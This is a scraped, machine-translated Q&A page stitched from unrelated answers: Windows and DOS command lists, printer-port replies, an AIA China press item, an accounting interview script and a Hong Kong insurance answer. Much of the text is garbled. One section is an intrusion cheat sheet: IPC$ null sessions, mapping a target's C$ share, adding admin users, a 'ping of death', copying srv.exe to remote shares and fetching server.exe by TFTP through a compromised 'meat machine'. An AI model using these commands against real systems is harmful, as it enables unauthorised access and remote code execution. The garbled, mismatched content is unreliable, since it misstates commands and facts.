What digital currency is lpt3

1. Winver -------- check Windows version
wmimgmt.msc -------- open windows management architecture (WMI)
wupdmgr -------- windows update program
Wscript -------- Windows Script Host settings
write -------- WordPad
winmsd -------- system information
wiaacmgr -------- scanner and Camera Wizard
winchat -------- XP comes with LAN chat
< br />Mem.exe -------- display memory usage
msconfig.exe ------ system configuration utility
Mplayer 2 ------ easy Windows Media Player
mspaint ------ drawing board
mstsc ------ Remote Desktop Connection
Mplayer 2 ------ media player
magnify ------ magnifying glass utility
MMC ------ open console
mobsync ------ same as Step command

dxdiag -------- check DirectX information
drwtsn32 ------ system doctor
devmgmt.msc --- device manager
dfrg.msc ------ disk defragmenter
diskmgmt.msc --- disk management utility
dcomcnfg ------ open system component services
ddeshare ------ open DDE sharing settings
DVD play ------ DVD player
A t/? & gt; Drive letter & 92; File name: pour files into Notepad

net stop messenger --- stop messenger service
net start messenger --- start messenger service
Notepad --- open Notepad
NSLOOKUP ------ network management tool wizard
NTBackup ------ system backup and restore
narrator ------ screen narrator
ntmsmgr.msc ------ mobile storage management Device
ntmsoprq.msc --- mobile storage administrator operation request
netstat - an --- - (TC) command check interface

syncap -------- create a briefcase
sysedit -------- system configuration editor
signerif -------- file signature verifier
sndrec32 -------- recorder
shrpubw -------- create shared folder
secpol.msc ------ local security Policy
syskey -------- system encryption, once encrypted, it cannot be undone, Double password to protect Windows XP system
services.msc --- local service settings
sndvol32 ------ volume control program
sfc.exe ------ system file checker
SFC / scan now --- windows file protection

tsshutdn ------ 60 second countdown shutdown command
tourstart ------ XP Introction (roaming XP program after installation)
taskmgr------ --Task manager

eventvwr ------ event viewer
eudcedit ------ Word Builder
Explorer ------ open resource manager

packer ------ object wrapper
perfmon.msc ------ computer performance monitor
progman ------ program manager

regedit.exe ----- registry
rsop.msc ------ group policy result set < B R / > regedt32 ------ registry editor
rononce - P ------ shutdown in 15 seconds
Regsvr32 / u *. DLL ------ stop DLL file running
Regsvr32 / u zipfldr.dll ------ cancel zip support

cmd.exe ------ CMD command prompt
chkdsk.exe ----- CHKDSK disk check
certmgr.msc ----- certificate management utility
Calc ------ start calculator
cha Rmap -------- start character mapping table
clicong ------ SQL Server client network utility
clipbrd ------ clipboard viewer
conf ------ start NetMeeting
compmgmt.msc --- computer management
cleanmgr ------ garbage collection
ciadv.msc ------ index service program

OSK ------ open screen keyboard
ODBC ad32------ -ODBC data source manager
OOBE / msoobe / a --- check whether XP is activated
lusrmgr.msc --- local users and groups
logoff -------- logoff command

ieexpress ------ Trojan horse binding tool, The system comes with

NSLOOKUP ------ IP address detector

fsmgmt.msc ------ shared folder manager

utilman ------ auxiliary tools manager

gpedit.msc ------ group policy

the content in run can be customized

Customize your run input box
in windows, Microsoft provides a new way to quickly start the program: run
to open [start] - [run], in which you can directly start some specific programs, such as: enter notepad.exe to start Notepad, enter xdict.exe to start Kingsoft, etc

what is the principle of startup? Very simple, in the registry HKEY_ LOCAL_ MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Under app paths, you can see many secondary primary keys, and each secondary primary key corresponds to a content that can be entered in the run

take the primary key of acdsee.exe as an example: there are two strings on the right, which correspond to the absolute path of the program by default, and the path corresponds to the directory of the program

the customization method is very simple: create a new secondary primary key with a different name under app paths (for example: smallfrogs. Exe), and then modify the default path on the right to the program you want to start (for example: C: &# 92; Program Files\ My APP\ Smallfrogs. Exe), and then create a new string path and modify it to the directory where the program is located (for example: C: &# 92; Program Files\ My APP\

then you can enter: smallfrogs.exe to start C: &# 92; Program Files\ My APP\ Smallfrogs. Exe

attention! The system identifies the program by the name of the secondary primary key. Even if you use sssss.exe to create the secondary primary key instead of smallfrogs.exe, if the content of any path is the same as the above example, the program started by inputting sssss.exe is still C: &# 92; Program Files\ My APP\ Smallfrogs. Exe

wupdmgr Widnows update
shutdown - A about:home Login home page
... (three half points) my computer
DVD play DVD player
fsmgmt shared console
Desktop open desktop folder
... (two points) open C: &; Documents and settings
(click) open start menu
Calc calculator
clipboard viewer
control open control panel
eventvwr event viewer
mstsc remote desktop

WIN2000 command complete set - & gt; Windows 2k/2003 Server
accwiz.exe > Accessibility Wizard for walking you through setting up your machine for your mobility needs; ACS setup DCOM server executable
actmovie.exe > Direct Show setup tool directly displays the installation tool
append.exe & gt; Allow programs to open data in specified directories as if they were in the current directory; Network display and modify IP - Hardware addresses displays and changes the corresponding list of computer IP and hardware physical addresses
at.exe & gt; At is a scheling utility also included with UNIX
atmadm.exe & gt; Displays statistics for ATM call manager; Display and modify attributes for files and folders
autochk.exe & gt; Used to check and repair windows file systems
autoconv.exe & gt; Automates the file system conversion ring reboots automatically transforms the system ring startup
autofmt.exe & gt; Automates the file format process ring reboots formats the process ring startup
autolfn.exe & gt; Used for formatting long file names
bootok.exe & gt; Boot acceptance application for registry
bootvrfy.exe > Bootvrfy.exe, a program included in Windows 2000 that notices the system that startup was successful. Bootvrfy.exe can be run on a local or remote computer; Displays or modifies access control lists (ACLS) of files; Windows calculators calculator
cdplayer.exe & gt; Windows CD player CD player
change.exe & gt; Change {user | port | logon} terminal server related queries
charmap.exe & gt; Character map character map* Table
chglogon.exe & gt; Same as using " Change Logon" Start or disable session logging
chgport.exe & gt; Same as using " Change Port" Change port (terminal service)
chgusr.exe & gt; Same as using " Change User" Change user (terminal service)
chkdsk.exe & gt; Check the hard disk for errors similar to ScanDisk 3 stages must specify a drive letter
chkntfs.exe & gt; Same as using CHKDSK but for NTFS NTFS disk detection program
cidaemon.exe & gt; Component of CI filer service constitutes CI document service
cipher.exe & gt; Displays or alters the encryption of directories [files] on NTFS partitions; Content index -- its the content indexing service for I
ckcnv.exe & gt; Cookie converter transforms cookies
cleanmgr.exe & gt; Disk cleanup, popular with Windows 98
clicong.exe & gt; SQL Server client network utility SQL client network tool
clipbrd.exe & gt; Clipboard viewer for local will allow you to connect to other clipboards
clipsrv.exe & gt; Start the clipboard server
clspack.exe & gt; Clspark used to create a file listing of system packages
cluster.exe & gt; Display a cluster in a domain_ cmd_. exe > There's nothing to say about famous command prompt< br />cmdl32.exe > Connection manager auto download connection management
cmmgr32.exe & gt; Connection manager connection manager
cmmon32.exe & gt; Connection manager monitor
cmstp.exe & gt; Connection manager profile manager connection manager profile setup
comcast.exe & gt; About cluster server cluster
comp.exe & gt; Comcluster add, remove, or join a cluster; Displays or alters the compression of files on NTFS partitions; Console ime ime console
control.exe & gt; Starts the control panel
convert.exe & gt; Convert file system to NTFS
convlog.exe & gt; Convert MS IIS log files to NCSA format
cprofile.exe & gt; Copy profiles convert display mode
cscript.exe & gt; MS Windows scripts host version 5.1 is
csrss.exe & gt; Client server runtime process client server runtime process
csvde.exe & gt; Comma separated variable import / export utility day to format converter

2. LPT1, lpt2 and lpt3 are generally used for printer port and game handle. Some mobile phones also use these ports to connect

what port do you want to install the printer? LPT1 is OK for parallel port
if the printer is USB, you can't use these ports.

3. That means your driver is not installed, there is an exclamation mark on behalf of the driver is not on! You can go to the driver's home to search and type your printer model on the search! Or take your own drive disk to drive again, and watch the prompt of screen drive when driving!

4.

Recently, AIA China has become one of 36 companies that have passed the certification of "China outstanding employer 2013" project. The independent research sponsored by CRF Institute shows that AIA China provides an excellent working environment for its employees and takes care of all aspects of their development
as an international expert in the field of human resource management and work environment research, CRF Institute has just completed this year's research on human resource policies and practices of some employers. Companies participating in the certification are assessed in the following aspects: monetary compensation, benefits, working environment, training and development, career development, and corporate culture management. Only those companies that meet strict research standards will be certified as outstanding employers
in recent years, AIA China has spared no effort in the cultivation of local talents and the construction of working environment. Considering that the professional training of employees is a comprehensive process, AIA has established and implemented a set of effective talent training methods and systems. In 2012, AIA China became the first foreign-funded institution in the domestic financial instry to implement the overseas listed equity plan for all employees, which is another breakthrough in establishing and improving the concept of "overall compensation" for employees“ Employee stock ownership plan (ESOP) completes the al role transformation from employee to employee and company owner, and reflects AIA's care for employees and long-term planning in salary and welfare
AIA provides a comprehensive range of procts and services, covering retirement plans, life insurance and accident and medical insurance, to meet the savings and security needs of indivial customers. In addition, the group also provides employee benefits, credit insurance and retirement protection services to corporate customers. The group serves over 23 million indivial policy holders and over 10 million group members through a large network of over 230000 exclusive marketers and about 20000 employees in the Asia Pacific region. Top 10 premium income of insurance companies in 2012:
annual premium income of AIA in China is as follows: 2005 644242 2006 694578 2007 889650 2008 758082 2009 804135 2010 847033 2011 818673 2012 869115

5. Excuse me，sir．May I apply for the position of accountant
can I apply for the position of accountant, sir
sure. Please sit down.
sure, please< br />What university did you graate from
which school did you graate from
I graated from Beijing College of Commerce< br />What was your major at college
what is your major in university< My major was accounting.
I majored in accounting< br />Can you name some of the courses you completed in relation to accounting
can you name some accounting related courses you have taken
sure. I tool such courses as accounting principles, commercial accounting, cost accounting, institutional accounting, electronic data processing accounting, and accounting involved in foreign capital enterprises Electronic data processing accounting and foreign accounting< br />What was your favorite course
what courses do you like
my favorite course was electronic data processing accounting< br />What kind of work are you doing now
What are you doing now< br />I' M engaged in accounting< br />What are you responsibilites at your present work unit
What are your responsibilities in your current company
my work involves variable routine bookkeeping and basic ac counting tasks including journal entries, verifying data and reconciling discrepancies, preparing detailed reports from raw data, and checking accounting documents for completeness, mathematical accuracy and consistency.
my job is to perform various bookkeeping and basic accounting matters, It includes filling in journals, verifying data, correcting errors, preparing detailed statements based on original data, checking the integrity of accounting documents, accuracy and consistency of figures. The above is new; Dynamic and dynamic; I hope it can help you.

6. http://bbs.cpcw.com/search.php?searchid=728349&orderby=lastpost&ascdesc=desc&searchsubmit=yes
DOS command dictionary&# 92; ip\ ipc$ " & quot; / user:" & quot; Establish IPC empty link
net use & # 92&# 92; ip\ ipc$ " Password & quot/ user:" User name & quot; Establish IPC non empty link
net use H: & # 92&# 92; ip\ c$ " Password & quot/ user:" User name & quot; After logging in directly, map the other Party C to the local as H:
net use H: & # 92&# 92; ip\ After C $login, map the other Party C: to local H:
net use & # 92&# 92; ip\ IPC $/ del delete the IPC link
net use H: / del delete the mapping from the other party to the local H:
net user name password / add create user
net user guest/ active:yes Activate the guest user
net user to view which users there are
net user account name to view the attributes of the account
net localgroup * * administrators user name / add to add the "user" to the administrator The administrator should have the authority of administrator. Note: * add s after administrator and use the plural number
net start to check which services are opened
net start service name to open services For example: Net start Telnet, net start Schele)
net stop service name to stop a service
net time & # 92&# 92; The target IP views the other party's time
net time & # 92&# 92; The target IP / set sets the time synchronization between the local computer and the "target IP" host, and adds the parameter / yes to cancel the confirmation information
net view to view which shares are enabled in the local LAN
net view & #&# 92; IP check which shares are enabled in the LAN of the other party
net config display system network settings
net logoff disconnected shares
net pause service name pause a service
net send IP & quot; Text information & quot; Send information to the other party
net ver LAN in use network connection type and information
net share view local open share
net share IPC $open IPC $share
net share IPC $/ del delete IPC $share
net share C $/ del delete C: share
net user guest 12345 use the guest user to log in and change the password to 12345
net password Change the system login password
netstat - A to check which ports are opened, and commonly use netstat - an
netstat - n to check the network connection of the ports, Commonly used netstat - an
netstat - V to view the work in progress
netstat - P protocol name example: netstat - P TCQ / IP to view the usage of a protocol (to view the usage of TCP / IP Protocol)
netstat - s to view the usage of all the protocols in use
nbtstat - A if one of the IP ports 136 to 139 is open, You can view the user name of the other party who recently logged in (the one before 03 is the user name) - note: the parameter - A should be capitalized
tracert - the parameter IP (or computer name) tracks the route (packet), and the parameter "- W number" is used to set the timeout interval
Ping IP (or domain name) sends data with the default size of 32 bytes to the opposite host, and the parameter is "- L [space] packet size"; "- N number of times to send data ";"- "T" means Ping all the time
Ping - t - L 65550 IP death Ping (sending files larger than 64K and Ping all the time becomes death Ping)
ipconfig (winipcfg) is used for Windows NT and XP (Windows 95 98) to view local IP addresses. Ipconfig can display all configuration information with the parameter "/ all"
TList - t displays processes in a tree line list (an additional tool of the system, which is not installed by default), In the support / tools folder of the installation directory)
kill - f process name with - f parameter to force the end of a process (it is an additional tool of the system, which is not installed by default, but in the support / tools folder of the installation directory)
del - f file name with - f parameter can delete read-only files, / AR, / ah, / as, / AA respectively means to delete read-only, hidden, system and archive files, / A-R /A-H, / A-S, / A-A means to delete files other than read-only, hidden, system and archive files. For example, "del / AR *. *" means to delete all read-only files in the current directory, "del / A-S *. *" means to delete all files except system files in the current directory
del / S / Q directory or use: rmdir / S / Q directory / s to delete all subdirectories and files in the directory. At the same time, the parameter / Q can be used to cancel the system confirmation and delete directly The two commands have the same function)
move drive letter & # 92; Path: 92; The file name to be moved is the path to store the moved file; After the file name is moved, the parameter / y will cancel the prompt to confirm the existence of the same file in the moving directory, and then directly override
FC one.txt two.txt & gt; 3st.txt compares the two files and outputs the differences to the 3st.txt file& gt; & quot; And & quot& gt; & gt;& quot; It is the redirection command
at ID number to start a registered scheled task
at / delete to stop all scheled tasks, and the parameter / Yes is used to stop a registered scheled task without confirmation
at ID number / delete
at view all scheled tasks
at & 92&# 92; IP time program name (or a command) / R run a program of the other party at a certain time and restart the computer
finger username @ host to check which users have recently logged in
telnet IP port and server, The default port is 23
open IP to connect to IP (the command after telnet login)
telnet type telnet directly on the local computer to enter the telnet path of the local computer; File name 1 path & # 92; File name 2 / y file 1 to the specified directory as file 2, and use the parameter / y to cancel confirmation at the same time that you want to rewrite an existing directory file
C: & # 92; srv.exe \&# 92; ip\***$ Copy local C: & # 92; Srv.exe to the other party's * *
cppy 1st.jpg/b + 2st.txt/a 3st.jpg hide the content of 2st.txt in 1st.jpg to generate a new file of 3st.jpg, note: the header of 2st.txt should be empty three rows, parameter / b refers to binary file, / a refers to ascll format file
\&# 92; ip\***$&# 92; svv.exe c:\ Or: 92&# 92; ip\***$&# 92;*.* Copy the srv.exe file (all files) shared by the other party to the local C:
X target address of the file or directory tree to be copied & # 92; Copy the file and directory tree with directory name, and use parameter / y to not prompt to cover the same file
TFTP - I own IP (use meat machine IP when using meat machine as springboard) get server.exe C: &# 92; After logging in server.exe, download the server.exe of "IP" to the target host C: &# 92; Server.exe parameter: - I refers to the binary mode of transmission. If - I is not added, it is transmitted in ASCII mode (text file transmission mode).
TFTP - I is IP put C: &# 92; After logging in to server.exe, upload local C: &# 92; The
FTP IP port from server.exe to the host is used to upload files to the server or operate files. The default port is 21. Bin means to transfer (executable file) in binary mode; The default is ASCII format (text file)
route print displays the IP route, which mainly displays the network address network addres, subnet mask netmask, gateway address gateway addres, interface address
arp view and process ARP cache. ARP means name resolution, which is responsible for resolving an IP into a physical MAC address. ARP - a will display all information
Start program name or command / max or / min, open a new window and maximize (minimize) running a program or command
MEM view CPU usage
attrib file name (directory name) view the attributes of a file (directory)
attrib file name - A - R - S - H or + A + R + S + H remove (add) the archive of a file, read-only, system, Hiding attributes; Use + to view the file as an attribute
dir, parameter / Q to display which user the file and directory belong to, / T: C to display the file creation time, / T: A to display the file last accessed time, / T: w to display the file last modified time
date / T, time / t use this parameter, that is, "date / T", "time / T" to display only the current date and time, Instead of entering a new date and time,
set specifies the name of the environment variable = the character to be assigned to the variable sets the environment variable
set displays all the current environment variables
set P (or other characters) displays all the current environment variables starting with the character P (or other characters)
pause the batch program, And it shows: please press any key to continue...
if execute conditional processing in the batch program (see if command and variable for more description)
goto tag will direct cmd.exe to the labeled line in the batch program (the tag must be a separate line and begin with a colon, for example: start tag)
call path & # 92; The batch file name calls another batch program from the batch program (see more call /?).
for executes a specific command for each file in a group of files (see for command and variables for more details)
echo on or off to turn echo on or off. If echo is used only without parameters, the current echo settings will be displayed
echo information will be displayed on the screen
echo information & gt& gt; Pass.txt will & quot; Information & quot; Save to pass.txt file
findstr & quot; Hello" Aa.txt find string in aa.txt file Hello
find file name find a file
title name change the title name of CMD window
color value set the foreground and background color of CMD console; 0 = black, 1 = blue, 2 = green, 3 = light green, 4 = red, 5 = purple, 6 = yellow, 7 = white, 8 = gray, 9 = light blue, a = light green, B = light green, C = light red, d = light purple, e = light yellow, f = light white D:\ Unified as: entsky & #92;)
er displays version information in DOS window
winver pops up a window to display version information (memory size, system version, patch version, computer name)
format letter / FS: type format disk, type: fat, FAT32, NTFS, Example: format D: / FS: NTFS
MD directory name create directory
replace source file directory to replace File Replace file
Ren original file name new file name rename file name
tree displays directory in tree structure, Use the parameter - F to list the file name in the second folder
type file name to display the content of the text file
more file name to display the output file screen by screen
doskey command to lock = character
doskey command to unlock = lock command provided for DOS (edit the command line, call Win2K command again, and create a macro). For example: Lock dir command: doskey dir = entsky (doskey dir = dir cannot be used); Unlock: doskey dir =
taskmgr call out task manager
CHKDSK / F D: check disk D and display status report; Add parameter / F and fix the error on disk
tlntadmn telnt service Admn, type tlntadmn, select 3, and then select 8, you can change the default port 23 of Telnet service to any other port
exit to exit the cmd.exe program or at present, use parameter / B to exit the current batch script instead of cmd.exe
Path & # 92; The file name of the executable file sets a path for the executable file
CMD starts a Win2K command interpretation window. Parameters: / EFF, / en, close and open command extension; For more details, see CMD /
regedit / s registry file name is imported into the registry; Parameter / s refers to quiet mode import without any prompt
regedit / E registration

7. Printer port has device, device driver is not installed or motherboard chipset is not driven, install motherboard bus driver can solve the problem!

8. Attribute (display or change attribute)
chdir (CD) change directory
CHKDSK check disk
choice prompt keystroke input
CLS clear screen
command reload MS-DOS program
file
date set display date
debug program
defrag clear disk fragment
del (erase) delete file
deloldos Delete old DOS file
deltree delete tree branch
dir display directory
diskcomp compare floppy disk content
DiskCopy disk
DOS extended extended memory management
DOSSHELL DOS outer layer
driveparm define drive parameters
edit editor
EMM386 memory management
erase delete file
dblspace disk compression
expa Nd release compression
FastHelp quick help
FC file comparison
fdisk disk partition
find search specified string
for loop execute command
format format disk
MEM memory usage display
MKDIR (MD) create subdirectory
msav check and clear virus
msbackup disk file service
path set search path
search path Pause command
restore disk file mp
rename (ren) file rename
rmdir (RD) delete directory
ScanDisk check disk
sys transfer system file
time set display time
tree display directory structure
type display file content
undelete restore deleted file
ver display system version number
Vol Display volume label
vsafe virus check
x replication group file
append supplementary path
break check control interrupt
buffers set disk buffer number
call call batch file
CHCP conversion code page
country determine national standard currency
CTTY change console
device install device driver
device high load device Driver
echo command display switch
fastopen fast load file
FCBS use file control block
number of files opened at the same time
goto steering branch
graphics screen printing
help
if setting condition
include simplify multiple configuration block
install resident program
interlink computer interconnection
I Ntersvr and server interconnection
keyb load character conversion table
label volume label
lastdrive set maximum number of drives
loadfix load fixed memory
loadhigh (LH) high memory program load
MemMaker check memory
menucolor set display options
mode set hardware working mode
mscdex access CD drive
MSO check system configuration Set up
nlsfunc to support national languages
NumLock to control NumLock key
power to save power
print background
prompt to change system prompt
QBASIC to start QB
REM comment information
replace file
set to set environment variable
setup to install dos6. 2 file
setver changes DOS version table
share network file sharing
shell load command handler
smartdrv disk buffer
sort file
stacks supports dynamic data line
subunit menu item (configure config). Sys)
sub set virtual drive
switches keyboard switch
vrify disk check

: create subdirectory command MD (internal command)
function: create a subdirectory under the specified directory of the specified disk
format: MD [drive letter] [path] subdirectory name
note: 1. Cannot create the root directory and the existing directory under the target directory
2. When the path is set by default, it means to set up the current directory
2: change the current directory command: CD (internal command)
function: set the current directory of the specified disk
format: CD [drive letter] [path]
note: CD means to display the current directory
CD.. means to return To the root directory
CD / means to return to the previous directory
3: delete subdirectory command: Rd (internal command)
function: delete subdirectory from the specified drive letter
format: CD [drive letter] [path] subdirectory name
note: 1. The directory to be deleted must be empty. If it is not empty, go to the directory first, delete all the contents under the directory with del *. *
and then go back to the upper level directory, and delete the directory with RD command
2. Cannot delete the current directory and root directory
4: column file directory command: dir (internal command)
function: display the specified disk Information about the files contained in the specified directory and the next level subdirectory
format: dir [drive letter] [path] [file name] [/ P] [/ w]
[/ P] means split screen display
[/ w] means compressed display
5: display full directory command: tree (external command)
function: display Show the directory structure of the specified disk
format: [drive letter] [path] tree [drive letter 1] [/ F]
[/ F] indicates the file name of all levels of subdirectories listed
6: set the search target command path (internal command)
function: set the search directory of external files
format: path [drive letter] [path] Diameter] [; Drive letter] [path]...
note: 1. To display the search file directory set by the last path command,
Path
2. Delete the file search directory set by the last path command:
path
7: delete directory command: deltree
function: delete the entire directory and its subdirectories and files
format: delltree [drive letter] [path] target file
note: delete all, whether system, hidden or read-only

9. Hello, I'm an insurance consultant in Hong Kong. Only a few procts in Hong Kong can buy insurance in RMB, and these procts can only be purchased by Hong Kong residents. In other words, mainland residents can only choose us dollars or Hong Kong dollars to buy insurance in Hong Kong. Hope to help you
you also need to know other questions about Hong Kong insurance, welcome to ask